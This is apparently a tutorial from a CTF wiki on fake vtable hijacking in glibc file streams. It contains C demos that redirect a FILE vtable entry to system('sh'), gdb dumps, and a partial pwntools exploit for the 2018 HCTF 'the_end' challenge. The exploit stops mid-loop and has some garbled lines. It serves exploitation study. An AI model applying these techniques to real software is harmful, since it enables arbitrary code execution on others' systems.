EN | ZH

# 假造vtable hijack program flow¶

## Introduction¶

Earlier we introduced the file stream feature (FILE) in Linux. We can see that some common IO operation functions in Linux need to be processed through the FILE structure. In particular, there is a vtable in the _IO_FILE_plus structure, and some functions will fetch the pointers in the vtable for calling.

Therefore, the central idea of the fake vtable hijacking process is to implement the vtable of _IO_FILE_plus by pointing the vtable to the memory we control and placing the function pointer in it.

Therefore, vtable hijacking is divided into two types. One is to directly rewrite the function pointer in the vtable, which can be realized by writing at any address. The other is to overwrite the vtable pointer to the memory we control, and then arrange the function pointer in it.

## Practice¶

Here is a demonstration of the pointer in the vtable, first need to know where _IO_FILE_plus is located, in the case of fopen is located in the heap memory, for stdin\stdout\stderr is located in libc.so.

int main(void)

{

FILE *fp;

long long *vtable_ptr;

fp=fopen("123.txt","rw");

vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

vtable_ptr[7]=0x41414141 //xsputn

printf("call 0x41414141");

}


The address of the vtable is obtained according to the offset of the vtable at _IO_FILE_plus, and the offset is 0xd8 under the 64-bit system. After that, you need to find out which function in the vtable is called by the IO function to be hijacked. About the IO function call vtable has been given in the FILE structure introduction section, know that printf will call xsputn in the vtable, and xsputn is the eighth item in the vtable can be written to this pointer for hijacking.

And when the vtable function such as xsputn is called, the first parameter passed in is actually the corresponding IO_FILE_plus address. For example, this example calls printf, and the first parameter passed to the vtable is the address of _IO_2_1_stdout.

Use this to pass arguments to the hijacked vtable function, such as

#define system_ptr 0x7ffff7a52390;

int main(void)

{

FILE *fp;

long long *vtable_ptr;

fp=fopen("123.txt","rw");

vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

memcopy(fp,"sh",3);

vtable_ptr [7] = system_ptr // xsputn

fwrite("hi",2,1,fp);

}


However, under the current libc2.23 version, the vtable located in the libc data segment cannot be written. However, it can still be exploited by forging vtables in controllable memory.

#define system_ptr 0x7ffff7a52390;

int main(void)

{

FILE *fp;

fp=fopen("123.txt","rw");

fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);

}


We first allocate a memory to store the fake vtable, then modify the _IO_FILE_plus vtable pointer to point to this memory. Because the pointer in the vtable we are placing the address of the system function, we need to pass the parameter "/bin/sh" or "sh".

Because the function in the vtable will call the corresponding _IO_FILE_plus pointer as the first parameter, so here we write "sh" to the _IO_FILE_plus header. Subsequent calls to fwrite will execute system("sh") via our fake vtable.

Similarly, if _IO_FILE created by fopen and other functions does not exist in the program, you can also select _IO_FILE located in libc.so such as stdin\stdout\stderr. These streams will be used in functions such as printf\scanf. Prior to libc2.23, these vtables were writable and there were no other tests.

print &amp; _IO_2_1_stdin_
$2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 &lt;_IO_2_1_stdin_&gt; 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so  ## 2018 HCTF the_end¶ ### Basic Information¶ void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { signed int i; // [rsp+4h] [rbp-Ch] void *buf; // [rsp+8h] [rbp-8h] sleep(0); printf("here is a gift %p, good luck ;)\n", &sleep); fflush(_bss_start); close(1); close(2); for ( i = 0; i <= 4; ++i ) { read(0, &buf, 8uLL); read(0, buf, 1uLL); } exit(1337); }  Analyze the problem, using the point is very clear in the main function, and: • In addition to canary protection • libc base address and libc version • Ability to write 5 bytes anywhere ### Ideas:¶ • Utilizing the program to call exit, it will traverse _IO_list_all and call the _setbuf function in vatable under _IO_2_1_stdout_. • You can modify two bytes to forge a fake_vtable near the current vtable and then use 3 bytes to modify the contents of _setbuf in fake_vtable to one_gadget. We first debug to find the offset of _IO_2_1_stdout_ and libc. The stupid thing here is that I originally searched for related symbols in gdb, but in fact the address found is the location of the symbol _IO_2_1_stdout_, not its The location on the libc data segment, we use the ida or libcsearch tool to find the vtables offset 0x3C56F8 as follows: .data:00000000003C56F8 dq offset _IO_file_jumps // vtables .data:00000000003C5700 public stderr .data:00000000003C5700 stderr dq offset _IO_2_1_stderr_ .data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o .data:00000000003C5700 ; fclose+F2↑r ... .data:00000000003C5708 public stdout .data:00000000003C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o .data:00000000003C5708 ; fclose+E9↑r ... .data:00000000003C5710 public stdin .data:00000000003C5710 stdin dq offset _IO_2_1_stdin_ .data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o .data:00000000003C5710 ; fclose:loc_6D340↑r ... .data:00000000003C5718 dq offset sub_20B70 .data:00000000003C5718 _data ends .data:00000000003C5718 .bss:00000000003C5720 ; ===========================================================================  Let's look at the contents of the virtual table: pwndbg> x /30gx 0x7f41d9c026f8 0x7f41d9c026f8 &lt;_IO_2_1_stdout_ + 216&gt;: 0x00007f41d9c006e0 0x00007f41d9c02540 0x7f41d9c02708 <stdout>: 0x00007f41d9c02620 0x00007f41d9c018e0 0x7f41d9c02718 <DW.ref.__gcc_personality_v0>: 0x00007f41d985db70 0x0000000000000000 0x7f41d9c02728 <string_space>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02738 &lt;__ printf_va_arg_table&gt;: 0x0000000000000000 0x0000000000000000 0x7f41d9c02748 <transitions>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02758 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02768 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02778 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02788 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02798 <getttyname_name>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027a8 <fcvt_bufptr>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027b8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027c8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027d8 <buffer>: 0x0000000000000000 0x0000000000000000  Then at this time look for a fake_vtable near the virtual table, the following conditions must be met: • fake_vtable_addr + 0x58 = libc_base + off_set_3 • where 0x58 is checked according to the table below is the offset of set_buf in the virtual table void * funcs[] = { 1 NULL, // "extra word" 2 NULL, // DUMMY 3 exit, // finish 4 NULL, // overflow 5 NULL, // underflow 6 NULL, // uflow 7 NULL, // pbackfail 8 NULL, // xsputn #printf 9 NULL, // xsgetn 10 NULL, // seekoff 11 NULL, // seekpos 12 NULL, // setbuf 13 NULL, // sync 14 NULL, // target location 15 NULL, // read 16 NULL, // write 17 NULL, // seek 18 pwn, // close 19 NULL, // stat 20 NULL, // showmanyc 21 NULL, // imbue };  I chose the following address as fake_vtable here: pwndbg> x /60gx 0x7f41d9c02500 0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997 0x0000000000000000 0x7f41d9c02510: 0x0000000000000000 0x0000000000000000 0x7f41d9c02520 <_IO_list_all>: 0x00007f41d9c02540 0x0000000000000000 0x7f41d9c02530: 0x0000000000000000 0x0000000000000000 0x7f41d9c02540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000 0x7f41d9c02550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c025a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f41d9c02620 0x7f41d9c025b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff 0x7f41d9c025c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f41d9c03770 0x7f41d9c025d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c025e0 <_IO_2_1_stderr_+160>: 0x00007f41d9c01660 0x0000000000000000 0x7f41d9c025f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f41d9c006e0 0x7f41d9c02620 <_IO_2_1_stdout_>: 0x00000000fbad2a84 0x00005582e351c010 0x7f41d9c02630 <_IO_2_1_stdout_+16>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02640 <_IO_2_1_stdout_+32>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02650 <_IO_2_1_stdout_+48>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02660 <_IO_2_1_stdout_+64>: 0x00005582e351c410 0x0000000000000000 0x7f41d9c02670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f41d9c018e0 0x7f41d9c02690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7f41d9c026a0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007f41d9c03780 0x7f41d9c026b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c026c0 <_IO_2_1_stdout_+160>: 0x00007f41d9c017a0 0x0000000000000000 0x7f41d9c026d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words) pwndbg> p 0x7f41d9c025e0 -0x58$10 = 0x7f41d9c02588

pwndbg> distance 0x7f41d9c02588 0x7f41d983d000

0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words)

pwndbg> distance  0x7f41d9c025e0 0x7f41d983d000

0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)


The final exploit script is as follows:

from pwn import *

context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

# p = process('the_end')

p = remote('127.0.0.1',1234)

to = 0
if rem ==1:

p = remote('150.109.44.250',20002)

p.sendline ( &#39;RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU&#39;)

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588

print 'libc_base: ',hex(libc_base)

# gdb.attach(p)

for i in range(2):

p.send(p64(vtables+i))

p.send(p64(fake_vtable)[i])

for i in range(3):